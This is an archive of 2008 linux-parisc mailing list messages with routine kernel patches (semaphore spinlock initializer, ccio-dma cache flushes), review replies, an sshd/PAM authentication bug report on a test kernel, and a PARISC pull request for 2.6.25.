X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:215
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/215>


Signed-off-by: Robert P. J. Day <rpjday@crashcourse.ca>

---

  whoops, ignore that earlier patch.  the actual standard is to
incorporate the structure member in the lock name, thusly:

diff --git a/include/asm-parisc/semaphore.h b/include/asm-parisc/semaphore.h
index a16271c..e4eba1e 100644
--- a/include/asm-parisc/semaphore.h
+++ b/include/asm-parisc/semaphore.h
@@ -44,7 +44,7 @@ struct semaphore {

 #define __SEMAPHORE_INITIALIZER(name, n)				\
 {									\
-	.sentry		= SPIN_LOCK_UNLOCKED,				\
+	.sentry		= __SPIN_LOCK_UNLOCKED((name).sentry),		\
 	.count		= n,						\
 	.wait		= __WAIT_QUEUE_HEAD_INITIALIZER((name).wait)	\
 }
========================================================================
Robert P. J. Day
Linux Consulting, Training and Annoying Kernel Pedantry:
    Have classroom, will lecture.

http://crashcourse.ca                          Waterloo, Ontario, CANADA
========================================================================
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [Patch] ccio-dma.c [Was: Yet another ccio fix idea?]
Date: Sat, 15 Mar 2008 19:21:15 +0000
Lines: 60
Approved: news@gmane.org
Message-ID: <47DC21AB.9090005@scarlet.be>
References: <JXM1RH$256C92C0CB28292D8C30F2A8EBC987EF@scarlet.be> <20080314060251.GJ24794@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205608893 18913 80.91.229.12 (15 Mar 2008 19:21:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 15 Mar 2008 19:21:33 +0000 (UTC)
Cc: dave <dave@hiauly1.hia.nrc.ca>,
	"James.Bottomley" <James.Bottomley@HansenPartnership.com>,
	"soete.joel" <soete.joel@scarlet.be>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	kyle <kyle@parisc-linux.org>, matthew <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 15 20:22:01 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jabx7-00079e-LU
	for glpp-linux-parisc@gmane.org; Sat, 15 Mar 2008 20:21:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753940AbYCOTVA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Mar 2008 15:21:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752305AbYCOTVA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 15 Mar 2008 15:21:00 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:59630 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753911AbYCOTUg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Mar 2008 15:20:36 -0400
Original-Received: from [213.49.80.19] (ip-213-49-80-19.dsl.scarlet.be [213.49.80.19])
	(authenticated bits=0)
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m2FJJbs2024850;
	Sat, 15 Mar 2008 20:19:38 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.9 (X11/20080110)
In-Reply-To: <20080314060251.GJ24794@colo.lackof.org>
X-DCC-scarlet.be-Metrics: eir 20001; Body=8 Fuz1=8 Fuz2=8
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:216
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/216>

Grant Grundler wrote:
> On Wed, Mar 12, 2008 at 10:16:29AM +0100, rubisher wrote:
> ...
>> mmm follwing stuff shouldn't so be enough:
>> Index: b/drivers/parisc/ccio-dma.c
>> ===================================================================
>> --- a/drivers/parisc/ccio-dma.c 2008-03-12 08:49:20.000000000 +0000
>> +++ b/drivers/parisc/ccio-dma.c 2008-03-12 08:50:54.000000000 +0000
>> @@ -624,7 +624,8 @@
>>         ** the real mode coherence index generation of U2, the PDIR entry
>>         ** must be flushed to memory to retain coherence."
>>         */
>> -       asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
>> +       asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[1]));
>> +       asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[0]));
> 
> NACK
> 
>>         asm volatile("sync");
>>  }
>>
>> @@ -695,7 +696,7 @@
>>                 ** Hopefully someone figures out how to patch (NOP) the
>>                 ** FDC/SYNC out at boot time.
>>                 */
>> -               asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
>> +               asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[7]));
> 
> NACK - keep it simple with the original proposed patch.
> 
Ok here it is:
Signed-off-by: Joel Soete <soete dot joel at scarlet dot be>
---
  drivers/parisc/ccio-dma.c |    2 +-
  1 file changed, 1 insertion(+), 1 deletion(-)

Index: b/drivers/parisc/ccio-dma.c
===================================================================
--- a/drivers/parisc/ccio-dma.c 2008-03-12 08:49:20.000000000 +0000
+++ b/drivers/parisc/ccio-dma.c 2008-03-15 19:19:52.000000000 +0000
@@ -695,7 +695,7 @@
                 ** Hopefully someone figures out how to patch (NOP) the
                 ** FDC/SYNC out at boot time.
                 */
-               asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
+               asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));

                 iovp     += IOVP_SIZE;
                 byte_cnt -= IOVP_SIZE;
=== <> ===

[snip]

Hth,
	r.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Sat, 15 Mar 2008 19:32:55 +0000
Lines: 53
Approved: news@gmane.org
Message-ID: <47DC2467.3070502@scarlet.be>
References: <JXM1RH$256C92C0CB28292D8C30F2A8EBC987EF@scarlet.be> <20080314060251.GJ24794@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205609544 20884 80.91.229.12 (15 Mar 2008 19:32:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 15 Mar 2008 19:32:24 +0000 (UTC)
Cc: dave <dave@hiauly1.hia.nrc.ca>,
	"James.Bottomley" <James.Bottomley@HansenPartnership.com>,
	"soete.joel" <soete.joel@scarlet.be>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	kyle <kyle@parisc-linux.org>, matthew <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 15 20:32:51 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jac7e-0002Mx-K6
	for glpp-linux-parisc@gmane.org; Sat, 15 Mar 2008 20:32:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751686AbYCOTcL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Mar 2008 15:32:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751881AbYCOTcL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 15 Mar 2008 15:32:11 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:46691 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751686AbYCOTcL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Mar 2008 15:32:11 -0400
Original-Received: from [213.49.80.19] (ip-213-49-80-19.dsl.scarlet.be [213.49.80.19])
	(authenticated bits=0)
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m2FJVHMN029312;
	Sat, 15 Mar 2008 20:31:18 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.9 (X11/20080110)
In-Reply-To: <20080314060251.GJ24794@colo.lackof.org>
X-DCC-scarlet.be-Metrics: eir 20001; Body=8 Fuz1=8 Fuz2=8
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:217
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/217>

Grant Grundler wrote:
[snip]
>> PS: in this doc feb96a6.pdf (easy to find) it was said:
>> "[snip]
>> Entries in the PA 7200 and PA 8000 caches are stored in lines
>> of 32 bytes.
>> [snip]
>>
>> Because one-word writes occur in the I/O system, for registers,
>> semaphores, or short DMA writes it was necessary that the I/O
>> adapter implement a one-line-deep cache to buffer cache lines,
>> so that these one-word writes could be executed by performing
>> a coherent read private transaction on the Runway bus, obtaining
>> the most recent copy of the cache line, modifying it locally in
>> cache, and finally writing the modified line back to main memory.
> ...
> 
>> 2 thinks:
>>     - it seems to confirm that cache line is well 32bytes wide ;-)
>>
>>     - for 'one word writes...' how should it be implemented?
> 
> "one word writes" refers to DMA writes, not CPU writes.
> 
(tx it's not always easy to follow the master and the slave in this story)

>>       It look like the sba_iommu driver:
>>       "READ_REG(ioc-ioc_ha_IOC_PCOM); /* flush purges */
>>       but without more detailed docs on U2/UTurn ccio, I don't know how to
>>       implement matter, sorry.
> 
> The IOMMU driver programs the IO Pdir with the results of "lci" instruction
> and this should be all the IOMMU needs to coherently read/modify/write
> the cacheline that the "one word" DMA write is targeting. In short,
> it's already implemented or I'd think we'd see much worse problems
> on ccio platforms.
> 
> hth,
> grant
> 
Ok.

Just one thought because in the backport I did on ccio of your job on sba (which seems to works for me as well as previous 
stuff, may be a bit better for system low in ram like my c110), it was one of the matter related to io coherency which I 
didn't reach to backport?

Tx again,
	r.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: panic in iommu_is_span_boundary with 32-bit kernel on c3750
Date: Sun, 16 Mar 2008 10:29:50 -0400 (EDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <20080316142954.6689F4E4A@hiauly1.hia.nrc.ca>
References: <47DBBAA1.4020102@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205677810 25227 80.91.229.12 (16 Mar 2008 14:30:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 16 Mar 2008 14:30:10 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: rubisher@scarlet.be (rubisher)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 16 15:30:38 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jatsi-0002Os-RE
	for glpp-linux-parisc@gmane.org; Sun, 16 Mar 2008 15:30:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751881AbYCPO35 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 Mar 2008 10:29:57 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751918AbYCPO35
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 16 Mar 2008 10:29:57 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3784 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751881AbYCPO34 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 Mar 2008 10:29:56 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 6689F4E4A; Sun, 16 Mar 2008 10:29:52 -0400 (EDT)
In-Reply-To: <47DBBAA1.4020102@scarlet.be> from "rubisher" at Mar 15, 2008 12:01:37 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:218
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/218>

> Really sorry about the bug. Can you try the following patch? It's on
> the top of the patchset.

Thanks, this fixed the panic.

However, there's still something wrong with this kernel regarding user
authetication with ssh/sshd/pam:

Mar 16 09:55:06 hiauly6 sshd[11861]: Invalid user xxxx from 76.66.48.108
Mar 16 09:55:10 hiauly6 sshd[11864]: pam_unix(ssh:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=bas15-ottawa23-1279406188.dsl.bell.ca  user=xxxx
Mar 16 09:55:12 hiauly6 sshd[11861]: error: PAM: Authentication failure for illegal user xxxx from bas15-ottawa23-1279406188.dsl.bell.ca
Mar 16 09:55:12 hiauly6 sshd[11861]: Failed keyboard-interactive/pam for invalid user xxxx from 76.66.48.108 port 49155 ssh2
Mar 16 09:55:19 hiauly6 sshd[11867]: pam_unix(ssh:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=bas15-ottawa23-1279406188.dsl.bell.ca  user=xxxx
Mar 16 09:55:21 hiauly6 sshd[11861]: error: PAM: Authentication failure for illegal user xxxx from bas15-ottawa23-1279406188.dsl.bell.ca
Mar 16 09:55:21 hiauly6 sshd[11861]: Failed keyboard-interactive/pam for invalid user xxxx from 76.66.48.108 port 49155 ssh2

The actual user name has been changed to `xxxx', but it's correct.
Don't know why ssh thought the user was invalid the first time.

Started ssh again from remote node:

Mar 16 09:55:42 hiauly6 sshd[11900]: Accepted keyboard-interactive/pam for xxxx from 76.66.48.108 port 49156 ssh2
Mar 16 09:55:42 hiauly6 sshd[11908]: pam_unix(ssh:session): session opened for user xxxx by (uid=0)

With a previous 2.6.25 kernel, I actually ended up logged into a different
user account a couple of times.  This never happens with 2.6.22.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [git patches] parisc bug fixes for 2.6.25
Date: Sun, 16 Mar 2008 13:35:39 -0400
Lines: 67
Approved: news@gmane.org
Message-ID: <20080316173539.GA3904@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1205688964 26777 80.91.229.12 (16 Mar 2008 17:36:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 16 Mar 2008 17:36:04 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 16 18:36:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JawmR-0008AW-L0
	for glpp-linux-parisc@gmane.org; Sun, 16 Mar 2008 18:36:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752010AbYCPRfn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 Mar 2008 13:35:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752119AbYCPRfn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 16 Mar 2008 13:35:43 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:44107 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752010AbYCPRfm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 Mar 2008 13:35:42 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 0221517807D; Sun, 16 Mar 2008 13:35:40 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:219 gmane.linux.kernel:654393
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/219>

The following changes since commit cdeeeae056a429e729ae9e914fa8142ee45bee93:
  Linus Torvalds (1):
        Linux 2.6.25-rc5

are available in the git repository at:

  git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git master

Adrian Bunk (1):
      [PARISC] move defconfig to arch/parisc/configs/

FUJITA Tomonori (1):
      [PARISC] make ptr_to_pide() static

Helge Deller (1):
      [PARISC] head.S: section mismatch fixes

James Bottomley (1):
      [PARISC] add pa8900 CPUs to hardware inventory

Joel Soete (1):
      [PARISC] pdc_stable: fix compile errors

Kyle McMartin (11):
      [PARISC] remove old timerfd syscall
      [PARISC] wire up timerfd syscalls
      [PARISC] move VMALLOC_* definitions to fixmap.h
      [PARISC] unbreak pgalloc.h
      [PARISC] bump __NR_syscalls
      [PARISC] remove unused pdc_iodc_printf function
      [PARISC] dump_stack in show_regs
      [PARISC] pdc_console: fix bizarre panic on boot
      [PARISC] clean up show_stack
      [PARISC] futex: special case cmpxchg NULL in kernel space
      [PARISC] add back Crestone Peak cpu

Randolph Chung (1):
      [PARISC] clean up include/asm-parisc/elf.h

Thibaut VARENE (1):
      [PARISC] add back AD1889 MAINTAINERS entry

 MAINTAINERS                                        |    9 ++++++
 arch/parisc/Makefile                               |    3 ++
 .../{defconfig => configs/default_defconfig}       |    0 
 arch/parisc/kernel/firmware.c                      |   27 +++++++++++------
 arch/parisc/kernel/hardware.c                      |   13 ++++++++-
 arch/parisc/kernel/head.S                          |    7 ++--
 arch/parisc/kernel/pdc_cons.c                      |   30 ++++++++++---------
 arch/parisc/kernel/syscall_table.S                 |    5 ++-
 arch/parisc/kernel/traps.c                         |   25 ++++++++++++++--
 drivers/parisc/pdc_stable.c                        |    6 ++--
 drivers/parisc/sba_iommu.c                         |    4 +-
 include/asm-parisc/elf.h                           |   22 ++++++--------
 include/asm-parisc/fixmap.h                        |    9 +++++-
 include/asm-parisc/futex.h                         |   10 +++++-
 include/asm-parisc/pdc.h                           |    3 +-
 include/asm-parisc/pgalloc.h                       |    4 +-
 include/asm-parisc/pgtable.h                       |    8 -----
 include/asm-parisc/unistd.h                        |    5 ++-
 18 files changed, 125 insertions(+), 65 deletions(-)
 rename arch/parisc/{defconfig => configs/default_defconfig} (100%)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc bug fixes for 2.6.25
Date: Sun, 16 Mar 2008 14:22:20 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <119aab440803161122y39219c23x1659a1a3edabcb14@mail.gmail.com>
References: <20080316173539.GA3904@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205691755 3039 80.91.229.12 (16 Mar 2008 18:22:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 16 Mar 2008 18:22:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 16 19:23:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JaxVf-0000ib-2s
	for glpp-linux-parisc@gmane.org; Sun, 16 Mar 2008 19:23:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752134AbYCPSWW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 Mar 2008 14:22:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752652AbYCPSWW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 16 Mar 2008 14:22:22 -0400
Original-Received: from rv-out-0910.google.com ([209.85.198.191]:42690 "EHLO
	rv-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752134AbYCPSWW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 Mar 2008 14:22:22 -0400
Original-Received: by rv-out-0910.google.com with SMTP id k20so2961056rvb.1
        for <linux-parisc@vger.kernel.org>; Sun, 16 Mar 2008 11:22:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=lGJKYmcUpU2G3xErwI9VoQIpKRHQE9VHlxFbJlJjFTY=;
        b=ooroD8MHVyBnhwakFAf+tKnxQMkbriiMOF5fe6ENtimOzK43L6HLQm3d72VIVbXnk4g6sIXrnm67YMqQxkeiwq9HnxAOiyRpMl6Ozx+J9KGFziJ0oIvfNFF/n5le10DqYAibdXIQf59FPLNMwdohl1nT/6Z4OZCaJhS9XiihomM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=hX4tKOu9zXpOwiDcnsgrwBYln0Jk1P73JlFfjbA8mrCiVfmMLikMPdDjpAzGZZ2B8boQEQQR+dvnMr8XtHrPrzjWXjM32KwP54ZxGE1DhJeRkDLrhTXtY7df00Rvfxt9rjlhAp2s35B+mIs7f7VZvAuKYo177QswNs7QzQQedaI=
Original-Received: by 10.141.13.16 with SMTP id q16mr7270246rvi.99.1205691740806;
        Sun, 16 Mar 2008 11:22:20 -0700 (PDT)
Original-Received: by 10.141.98.3 with HTTP; Sun, 16 Mar 2008 11:22:20 -0700 (PDT)
In-Reply-To: <20080316173539.GA3904@phobos.i.cabal.ca>
Content-Disposition: inline
X-Google-Sender-Auth: fa45f9cdb15c652a
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:220
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/220>

On Sun, Mar 16, 2008 at 1:35 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> The following changes since commit cdeeeae056a429e729ae9e914fa8142ee45bee93:
>   Linus Torvalds (1):
>         Linux 2.6.25-rc5

Thanks!

What hardware is this known to boot on? I want to update my base
kernel for userspace testing, currently 2.6.20.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc bug fixes for 2.6.25
Date: Sun, 16 Mar 2008 15:21:52 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20080316192152.GB3904@phobos.i.cabal.ca>
References: <20080316173539.GA3904@phobos.i.cabal.ca> <119aab440803161122y39219c23x1659a1a3edabcb14@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1205695330 14260 80.91.229.12 (16 Mar 2008 19:22:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 16 Mar 2008 19:22:10 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 16 20:22:38 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JayRF-0005HH-L9
	for glpp-linux-parisc@gmane.org; Sun, 16 Mar 2008 20:22:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752268AbYCPTVy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 Mar 2008 15:21:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752209AbYCPTVy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 16 Mar 2008 15:21:54 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:45719 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752167AbYCPTVx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 Mar 2008 15:21:53 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id C9675178060; Sun, 16 Mar 2008 15:21:52 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab440803161122y39219c23x1659a1a3edabcb14@mail.gmail.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:221
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/221>

On Sun, Mar 16, 2008 at 02:22:20PM -0400, Carlos O'Donell wrote:
> On Sun, Mar 16, 2008 at 1:35 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> > The following changes since commit cdeeeae056a429e729ae9e914fa8142ee45bee93:
> >   Linus Torvalds (1):
> >         Linux 2.6.25-rc5
> 
> Thanks!
> 
> What hardware is this known to boot on? I want to update my base
> kernel for userspace testing, currently 2.6.20.
> 

no idea. it booted on my rp3440 and c8k
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?utf-8?q?S=2E=C3=87a=C4=9Flar=20Onur?= <caglar@pardus.org.tr>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
